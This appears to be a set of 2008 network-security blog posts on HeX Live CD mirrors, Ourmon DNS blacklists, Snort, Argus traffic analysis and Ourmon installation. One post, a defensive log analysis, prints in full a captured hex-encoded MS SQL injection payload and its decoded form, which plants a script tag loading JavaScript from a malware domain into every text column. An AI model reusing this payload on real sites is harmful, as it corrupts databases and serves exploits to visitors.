We have already synced all the ISO images to various mirror sites, so you are able to get it asap. Other than the 3 mirror sites in HeX 2.0 Release page, you can also download the Live CD from additional mirror sites below:

Malaysia: (thanks to Zamri)
http://archive.mmu.edu.my/hex/hex-i386-2.0.iso
http://archive.mmu.edu.my/hex/hex-i386-2.0.iso.md5
http://archive.mmu.edu.my/hex/hex-i386-2.0.iso.sha256

US: (thanks to enhanced)
https://secure.redsphereglobal.com/data/tools/security/live/HeX/hex-i386-2.0.iso
https://secure.redsphereglobal.com/data/tools/security/live/HeX/hex-i386-2.0.iso.md5
https://secure.redsphereglobal.com/data/tools/security/live/HeX/hex-i386-2.0.iso.sha256

Also don’t forget our new 2 very own HeX wallpapers, which can be downloaded here!

Join our mailing list http://groups.google.com/group/HeX-liveCD or IRC #rawpacket on Freenode if you wish to ask questions, contribute ideas, and have fun with HeX users.

By the way, if you have not updated your Wordpress installation to version 2.6.2, you should do it now. The hacking attempts are in the wild. This is the screen shot I had taken before I updated it weeks ago.

<4500> system-view
[4500] interface Ethernet 1/0/1
[4500-Ethernet1/0/1] mirroring-port ?
  both      Mirror the inbound and outbound packets of the interface
  inbound   Mirror the inbound packets of the interface
  outbound  Mirror the outbound packets of the interface
[4500-Ethernet1/0/1] mirroring-port both
[4500-Ethernet1/0/1] quit
[4500] interface GigabitEthernet 1/0/27
[4500-GigabitEthernet1/0/27] monitor-port
[4500-GigabitEthernet1/0/27] quit
[4500] display mirror
 Monitor-port:
   GigabitEthernet1/0/27
 Mirroring-port:
   Ethernet1/0/1              both

Both inbound and outbound traffic will be mirrored to Gigabit Ethernet 1/0/27, and you are able to get your monitoring server to receive the traffic from this monitoring port.

That’s all for today.

First of all, this is the how to for DNS blacklist configuration:

The dns_include file config line allows a DNS name based blacklist to be configured into the ourmon probe. Any number of files may be given. The format of individual entries in the DNS blacklist is as follows:

lsass.exploited.org A

One entry should be given per line.

DNS query responses are unwrapped and if the question is found to match the DNS name in the blacklist, an ourmon event log message is generated.

That means, we need to create a blacklist file with the format above, and a list of black listed domains.

There is a project called DNS-BH, they create and maintain a listing of domains that are known to be used to propagate malware and spyware. So, with the free malware domains list, we are able to create a list and include it to the DNS blacklist.

I have created 2 scripts, 1 Perl script (domain-filter.pl) to grab the domains from the malware domains list and write them to a new file with format that Ourmon accepts, for example:

From
guti.my        unknown   guti.my/ourmon-dns-blacklist      2008apr
to
guti.my A

and 1 Shell (getbldns.sh) script to process the update, so that I am able to set it as cron job.

For those who are interested to try it out, you may download it at http://www.gutizz.com/scripts/ourmon-dns-blacklist.bz2.
md5sum: http://www.gutizz.com/scripts/ourmon-dns-blacklist.bz2.md5
There is a Readme file included the package as well. You need to edit the path of dns_include, and the path in the getbldns.sh shell script if your installation is in different directory.

This is the sample of the event log after blacklist has been configured, so you need to check why there were DNS requests to malware domains from these servers. (Click to enlarge the image.)

There are 2 blacklist features in Ourmon as well, which are IRC blacklist and IP blacklist. Ourmon team has the IRC blacklist script written and put them in Ourmon src/scripts/, and I am still working on IP Blacklist which will fetch the black list IP from Harimau watchlist, the main problem is the support of netblock in the Ourmon IP Blacklist, which I will consider to remove those netblock addresses.

If you concern on the CPU and memory usage, here is the resource usage of Ourmon, with 20290 domains in DNS blacklist, and list of IP from EmergingThreat botcc rules in IRC blacklist loaded, and over 10k/s packets at peaks.

  PID USERNAME  THR PRI NICE   SIZE    RES STATE  C   TIME   WCPU COMMAND
59799   root          1   -58    0  48552K 28348K  bpf    4   3:44   2.49%  ourmon

If you have any other recommendation on DNS blacklist, please let me know.

Today I have discovered a rare encoded SQL injection in one website’s http log that targeted on a MS SQL database. The bad guys had used the HTTP method GET, with encoded code in the SQL injection code. It was not difficult to detect it due to its long URL, and below is the code.

script.asp?var=random';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

This is the decoded version of the HEX code in the CAST function:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.nihaorr1.com/1.js></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

It seems that there is a loop in the HEX code to update the js script after 30 characters in the field, disregard if there are more than 30 characters in the field, the SQL code will be injected the first time, and another after 30th character.

With encoded SQL code, the injection could easily bypass IDS and prevention rules. Unless you have set the IDS to alert if certain number characters in URL is passing through the IDS, or inspected HTTP log from time to time.

The js script redirects users to another page, 1.htm, and then try to download the exploits which try to exploit outdated Real Player, and a few MS remote code execution vulnerabilities such as MS06-014, MS07-004, MS07-018 and a few others. So, make sure your Windows and other third party applications are always updated to the latest version or have the latest patch applied.

Updates:
It seems that this domain has been listed in malwaredomains.com since 17th April.

[root@nsm]# openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAserial file.sr1 -out sguild.pem
Signature ok
subject=/C=MY/ST=PG/O=Sguil/OU=Security/CN=servername
Getting CA Private Key
Enter pass phrase for privkey.pem:
file.sr1: No such file or directory
82464:error:02001002:system library:fopen:No such file or directory:/usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/bio/bss_file.c:352:fopen('file.sr1','r')
82464:error:20074002:BIO routines:FILE_CTRL:system lib:/usr/src/secure/lib/libcrypto/../../../crypto/openssl/crypto/bio/bss_file.c:354:

From the error message, it is obvious that I did not have the file.sr1 there. Since this was the first time I used the CA to sign the certificate, I would need to create serial key containing serial key. So I run -CAcreateserial as below:

[root@nsm]# openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAcreateserial -out sguild.pem

This created a new file (CA.srl) containing a serial number. The next time I have to use the -CAserial option when I create new certificate, and specify the path to this file name. The serial number will be incremented each time a new certificate is created.

First, I used Argus client - ra to show unidirectional RMON stat, with only source port and destination port selected, piped it to awk to make it readable data by Grace, and then convert the number for destination port. For example, X=0, Y=2224 (source port), then X=1, Y=80 (destination port):

[guti@nsm /]# ra -nr syn.argus -M rmon -s sport | awk '{ print 0,$1 }' | sed -e 's/0 80/1 80/g' > syn.dat

The output of syn.dat looks like this:

[guti@nsm /]# head -n 6 syn.dat
0 2224
1 80
0 2236
1 80
0 2242
1 80

Then use grace to plot it.

[guti@nsm /]# xmgrace6 syn.dat &

This is the graph of 23 seconds DDOS from source port to destination port.

If I use afterglow to show the connection from source to destination port, the graph looks like this.

This is the graph after I converted the source and destination IP to decimal, for example, from 192.168.1.123 to 3232235899.

1 second source port to destination port graph, approximate 5000 SYN per second:

From the port graph, I guess the DDOS was launched from 1 host with spoofed source IP and large bandwidth pipe, what do you think?

blist_include "irc"  /home/mrourmon/etc/ipblacklist.txt

Snort, an open source network intrusion prevention and detection system, releases version 2.8.1. I got a 404 error while I was trying to download Snort 2.8.0.2 yesterday and noticed the file was not there anymore. Within few minutes, the Snort download page was refreshed and replaced with new v2.8.1 package. Coincidentally, the release version number is same with Ourmon latest bug-fix release. In v2.8.1, one of the new additions is the ability to read multiple pcaps from the command line, which I have usually done with Argus. Here is the sample:

[root@nsm /]# snort -dv -r irc1.pcap -r irc2.pcap | less
Running in packet dump mode

        --== Initializing Snort ==--
Initializing Output Plugins!
Verifying Preprocessor Configurations!
TCPDUMP file reading mode.
Reading network traffic from "irc1.pcap" file.
snaplen = 65535

        --== Initialization Complete ==--

   ,,_     -*> Snort! <*-
  o"  )~   Version 2.8.1 (Build 28)
   ''''    By Martin Roesch & The Snort Team: http://www.snort.org/team.html
           (C) Copyright 1998-2008 Sourcefire Inc., et al.
           Using PCRE version: 7.6 2008-01-28

Not Using PCAP_FRAMES
07/11-08:00:32.312306 192.168.128.86:6667 -> 10.1.2.177:32793
TCP TTL:40 TOS:0x0 ID:51682 IpLen:20 DgmLen:91 DF
***AP*** Seq: 0xB368B2EB  Ack: 0xE79F2A5  Win: 0xB50  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2184210158 757152
3A 62 6D 77 30 37 21 34 76 71 74 71 74 34 40 38  :bmw07!4vqtqt4@8
32 2E 37 39 2E 38 37 2E 37 39 20 4A 4F 49 4E 20  2.79.87.79 JOIN
23 61 6C 62 61 0D 0A                                               #alba..

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

This is their first reply (I just copied and pasted here) from the Data Center Support:

I beleive this is application issue and something to do at your end/server, please check. All your IP able to ping, we didnt block anything sort of application.

OK, fine, usual reply. We know he is one of those high position technical members, we tried to clarify that with few URLs with explanation, then his next reply:

I’ve checked already at my IPS. Your application hit one of our filter and has been blocked, pls refer below filter description

Severity : Critical
Description : This filter detects an attempt to exploit an input validation vulnerability present in the AWStats log analyzer. If successfully exploited, and attacker could execute arbitrary code on the affected web server.

Great, just as what I have suspected. So, I have replied him this is most probably a false positive, is it possible to disable the signature, or improve the signature? But I got a reply:

The IPS block a valid request, thats mean there is a vulnerability with your AWStats.

WTF? Does that mean their IPS is so intelligent and it can detect the latest Awstats version installation has a vulnerability? I have requested them to provide the full packets detail, which shows I am trying to do arbitrary code execution or maybe I can inform Awstats on the “vulnerability”.

Finally he replied:

Pls find the attachment a log from our IPS (It contains a few lines of successful URL blocking, with source and destination IP, severality, hits, that’s all). However we will consult with our vendor to determine the ’signature’ from our IPS.

I think I need to wait at least for a few weeks before get this resolved.

If you have been following this blog, you will notice I have 2 posts (including this) that have the strange traffic spike in the nighttime, and it also means that it is good time to attack when everyone is sleeping.
So, there was UDP flood attack on my network in the nighttime yesterday. By checking on Ourmon graphs and reports, I could identify the attack almost immediately without running any other tools.

This is how I identified the UDP flood attack, normally my network will not generate high UDP traffic.

Do you notice the TCP traffic spike from 2100 to 2200 which is marked in Pink color? I used the same method which I have mentioned previously to check the traffic spike with Argus. It was a inter network file transfer which was running at load 19,001,224 (bits/sec).

Notice the high port ICMP unreachable?

From UDP Top report, I could see when and which IP launched UDP flood attack, and the time of the attack was stopped.

From UDP summarization Top Source IP report:

It is nice that we have not seen any large UDP traffic coming to our network after these IPs were blocked in Firewall.

The CPU usage when I run it in T3 (4 threaded), notice the high CPU usage?

  PID USERNAME  THR PRI   NICE   SIZE    RES STATE  C   TIME   WCPU COMMAND
48707   root           1    121    0      193M   162M CPU5   5   1:41   93.49% ourmon
48706   root           1    121    0      193M   162M CPU2   2   1:35   91.82% ourmon
48705   root           1    120    0      193M   162M CPU7   7   1:37   90.31% ourmon
48708   root           1    121    0      193M   162M CPU3   3   1:31   90.31% ourmon

Ourmon seemed to generate incorrect packet per second graph for me too:

The bpfstat information:

  pid   	netif  flags       recv     drop      match      sblen 	   hblen   command
48705     em1  p--s-     240244 67980     240244 16777175 16777098 ourmon
48705     em1  p--s-     270156 86341     270156   248714        0          ourmon

There was same problem when I run Ourmon without threaded support:
i386 usage:

  PID USERNAME  THR PRI   NICE   SIZE    RES  STATE  C   TIME   WCPU COMMAND
 1100      root        1      -58    0   24932K 24416K bpf    0  37.2H    1.90% ourmon

AMD64 usage:

  PID USERNAME  THR PRI   NICE   SIZE    RES   STATE  C    TIME   WCPU COMMAND
38236     root        1      109    0     172M   168M  CPU2   2  355:15 70.46% ourmon

I have contacted Jim, the project admin of Ourmon on this issue.
After we have tested for 2 days, I noticed after I have disabled topn_icmperror, topn_scans, and topn_port_scans modules in ourmon.conf, Ourmon has not dropped any packets at peaks.

I reported my findings to Jim and he seemed to find out the problem which caused the Ourmon to drop packet in 64bit machine:

on x86, unsigned int is 4 bytes, unsigned long is 4 bytes
on amd64, unsigned int is 4 bytes, unsigned long is 8 bytes

He sent me a new fixed package and it has been running fine after compilation. Here is the resouce usage with default ourmon.conf on 64 bit:

  PID USERNAME  THR PRI   NICE   SIZE     RES    STATE  C    TIME   WCPU COMMAND
39548     root        1      -58    0   51164K 29752K    bpf    1  15:29    3.96%  ourmon

The pkts graph is displaying correct result now:

Jim said this fix will be included in Ourmon v2.9, and it will come with a couple of new features as well.
While we wait for the new package now, it is time to test the blacklist features in v2.8.
Thanks Jim!

Since I have full network traffic log, I converted the tcpdump traffic to Argus flow.

 [root@nsm /nsmdir/2008-03-08]# argus -r snort.log.time -w argus.out 

The traffic spike was neither generated from port 25 nor port 80, I used racluster to merge the status records from the same flow without traffic of port 25 and 80, then piped to rasort to sort (-m) the total count of the packet transaction. -s option is to select and show the fields you want to print, -L0 is used to show the labels. Here is the result:

[root@nsm /nsmdir/2008-03-08]# racluster -nnr argus.out -w - - not port 80 and not port 25 | rasort -nnr - -m pkts -s +1ltime +load +bytes +rate -L0 | less

        StartTime           LastTime    	 Flgs   Proto            SrcAddr  Sport    Dir       DstAddr  Dport     TotPkts   TotBytes       State     Load   TotBytes         Rate
   03:27:47.764771    03:33:46.183595  e sD        6     192.168.134.56.39448     ->     10.2.3.102.46743   2501219 1031277512   FIN 23018378 1031277512  6978.480957
   03:33:46.708627    03:37:43.800844  e sD        6     192.168.134.56.40071     ->     10.2.3.102.16396    526755  543955768   FIN 18354234  543955768  2221.730469
   03:31:51.398870    03:33:15.015036  e sD        6     192.168.134.56.39880     ->     10.2.3.102.32666    212332  219148920   FIN 20967134  219148920  2539.365479
   03:21:43.412374    03:41:50.372550  e sD        6       192.168.200.77.4105    < ? >  10.2.3.102.38327     68916   56532894   CON 374712.5   56532894    57.098816

10.2.3.102 is one of the hosts in my network, so from the packet count and total bytes information, I could identify the spike was generated by which host. You may sort based on other criterias to get the result you want, as there might be flows from different IP with little packet count, with large bandwidth transfer rate (load).

To check the traffic, I used ra to show the flow:

[root@nsm /nsmdir/2008-03-08]# ra -nnr argus.out -L0 - host 192.168.134.56 | less

         StartTime    Flgs  Proto            SrcAddr  Sport   Dir            DstAddr  Dport  TotPkts   TotBytes State
   03:27:46.938889  e           6     192.168.134.56.39446     ->     10.2.3.102.21           16       1464   CON
   03:27:47.537244  e           6     192.168.134.56.39447     ->     10.2.3.102.21           22       1964   CON
   03:27:47.764771  e s         6     192.168.134.56.39448     ->     10.2.3.102.46743     36705   15095192   CON
   03:27:52.764922  e sD        6     192.168.134.56.39448     ->     10.2.3.102.46743     30281   12522592   CON
   03:27:57.765092  e iD        6     192.168.134.56.39448     ->     10.2.3.102.46743     14032    5782634   CON
   03:28:02.765262  e sD        6     192.168.134.56.39448     ->     10.2.3.102.46743     41270   17023976   CON

This seems like a passive FTP transfer for me (by checking the src ports), so I logged on to server to check for the FTP log to verify:

Mar  8 03:33:10 server ftpd: (mm@xxx.com@192.168.134.56) [NOTICE] /home/xxx/public_html/mm//xxx.com_2008.03.08_03-31-02 uploaded  (207309250 bytes, 2444.40KB/sec)
Mar  8 03:33:42 server ftpd: (backup@xxx.com@192.168.134.56) [NOTICE] /home/xxx/backup//xxx.com_2008.03.08_03-21-02 uploaded  (891289600 bytes, 2428.22KB/sec)
Mar  8 03:37:39 server ftpd: (backup@xxx.com@192.168.134.56) [NOTICE] /home/xxx/backup//xxx.com_2008.03.08_03-21-02.001 uploaded  (514473734 bytes, 2121.01KB/sec)

The log information explains all. There was a new job which was setup recently, running at every 3.30 AM to transfer the backup files to host 10.2.3.102.

I do have traffic grapher to check which ports generated the spike but that is another story which is not worth for a blog post.

Sysbench was used to do the benchmark, and mySQL was used for the test.
Enjoy the benchmark result here.

Before that, Ourmon, the network monitoring and anomaly detection system had released version 2.8, which introduces a few exciting features as well. The most wanted THREADED (for me) feature is supported now. Although it is still under experimental and only x86(amd compatible) primitive is used for spinlocks, I will definitely give it a try on Quad core NSM sensor(AMD64) which has Ourmon disabled due to massive packets dropped during peak hours.

Ourmon graph:

The installation is pretty straight forward and easy since you just have to run configure.pl and change the home net address. Some people may want to change their network interface and web directory during installation, but the rest settings are default or being auto detected.

This is my installation of Ourmon 2.8 on FreeBSD 7.0-REL.
1. Install libpcre from ports. (/usr/ports/devel/pcre)
2. Install libpcap from ports. (/usr/ports/net/libpcap)
3. Install rrdtool from ports (/usr/ports/databases/rrdtool)
4. Install apache from ports. (/usr/ports/www/apache13, 20, or 22)
5. Run ourmon’s configure.pl.

Here is the output.

# ./configure.pl
configuration script to install ourmon.
note: default is suggested like so: [default]
note: just hit carriage-return for default actions
---------------------------------------------------
Would you like to install the ourmon probe? [y]
Front-end configuration phase started ####################
pcap in general needs to be reinstalled from www.tcpdump.org before ourmon install
found pcap lib in /usr/local/lib/libpcap.a - which is a good thing
hit CR to continue:

Would you like to compile/install ourmon? [y]
ourmon build: using make -f Makefile.bsd LIBS=/usr/local/lib/libpcre.a /usr/local/lib/libpcap.a
`ourmon' is up to date.

Next we determine the ourmon config/filter file to use.
By default, we use the local /usr/local/mrourmon/etc/ourmon.conf to provide input filters to ourmon.
WARNING: you should read/edit/understand ourmon.conf!
Do you want to use another ourmon.conf file in some other directory than /usr/local/mrourmon/etc? [n]

Next we suggest one modification to the ourmon.conf file.

If this is a default install, you should change the following config directive:

        topn_syn_homeip network/netmask

and set it to your home network and mask (A.B.C.D/maskbits style)
Do you want to change the topn_syn home network address? [y]
note: the home net address may be a subnet or host address (/32).
enter a home net address and mask. [127.0.0.1/32] 192.168.1.0/24
netmask: 192.168.1.0/24

Do you want to install the ourmon startup script in the ourmon bin? [y]
WARNING: the default for the interface may not be what you want.
WARNING: use #ifconfig -a to determine interfaces.
Please enter the input interface name to sniff from: [le0]
input interface is le0

Please enter directory for probe output files (mon.lite, etc.): [/usr/local/mrourmon/tmp]
probe output directory name is: /usr/local/mrourmon/tmp

Creating bin/ourmon.sh driver for startup of ourmon.
ourmon.sh placed in ourmon bin for ourmon front-end/probe startup
./ourmon.sh start

copy the startup script (bin/ourmon.sh) to /usr/local/etc/rc.d for boot startup? [y]
ourmon front-end install complete
ourmon front-end build worked

You should now run /usr/local/mrourmon/bin/ourmon.sh to start ourmon

e.g., # /usr/local/mrourmon/bin/ourmon.sh start

You can use ourmon.sh stop to stop ourmon

part 2: install the back-end, omupdate.pl, etc. (web part)? [y]
Back-end configuration phase started ######################################
We need a local web directory for generated web output.
hint: the webpath given here is a guess: give the CORRECT base web directory with /ourmon at the end
enter absolute web server web path directory: [/usr/local/www/data/ourmon] /usr/local/www/ourmon
your output web path is: /usr/local/www/ourmon

Do you want to create the web directory for ourmon?
HINT: good idea if it doesn't exist. [y]
mkdir: /usr/local/www/ourmon: File exists
ln: web.pages: File exists
cp bard/* /usr/local/www/ourmon/bard
cp batchip.sh batchipall.sh omupdate.sh /usr/local/mrourmon/bin
cp ombatch*.pl wormtolog.pl daily.pl monbackup.pl /usr/local/mrourmon/bin
cp omupdate.pl tcpworm.pl irc.pl /usr/local/mrourmon/bin
cp mklogdir.sh /usr/local/mrourmon/bin
chmod +x /usr/local/mrourmon/bin/*.sh
chmod +x /usr/local/mrourmon/bin/*.pl

INFO only: also setting up logging directory (if needed)
creating log rrddata tmp dirs, if necessary, in /usr/local/mrourmon
hit CR to continue:

If different, enter front-end output file directory absolute path: [/usr/local/mrourmon/tmp]
probe output file path (back-end input/s) is /usr/local/mrourmon/tmp

Now we copy supplied .html files to the web directory for later editing
do you want to copy base web files to the web directory? [y]

INFO only: setting up local rrdbase directory at /usr/local/mrourmon/rrddata
your runtime rrds get stored in this directory, along with the rrd error log file
if you create new BPF filters, check rrdbase/ourmon.log for errors.
hit CR to continue:

We need a UDP weight threshold for UDP scan alerts
what should the weight be (default is given): [10000000]

Install backend crontab commands in /etc/crontab (default answer y)?: [y]
y

ourmon system config complete
see INSTALL for post-config sanity checking

This is the error when I tried to start the ourmon.

[root@ /usr/local/etc/rc.d]# ./ourmon.sh start
sysctl: unknown oid 'debug.bpf_bufsize'
sysctl: unknown oid 'debug.bpf_maxbufsize'

When I opened the ourmon.sh, I found these lines under start_om():

sysctl -w debug.bpf_bufsize=8388608
sysctl -w debug.bpf_maxbufsize=8388608

In FreeBSD, they are called net.bpf.bufsize and net.bpf.maxbufsize. So just change them to these will do.

sysctl -w net.bpf.bufsize=8388608
sysctl -w net.bpf.maxbufsize=8388608

If you have your own value set in /etc/sysctl.conf, just comment these 2 lines.

I will post up as soon as Ourmon with threaded support is successfully setup on AMD64 system.

This blog is going to be a place to keep my network security stuffs, and it will allow me to share some thoughts and experiences on system administration, scripting, and forensic related with others.

I am not a good writer, so this is also my best opportunity to improve my English writing skill.

Old story: Threats are everywhere, so having good security practices is very important to protect yourself, your private information, important data, business, website and so on.

Before I end this first post, I would like to say, or print “Hello World!”; (both say and print are available in Perl 6).

Oh ya, I hope I can celebrate birthday for this blog when it turns one year old (4 years later).

=p

Oh! Please remember to change your password to strong one as well.

Check this one too!

This is a classic first post, so I am not going to delete it.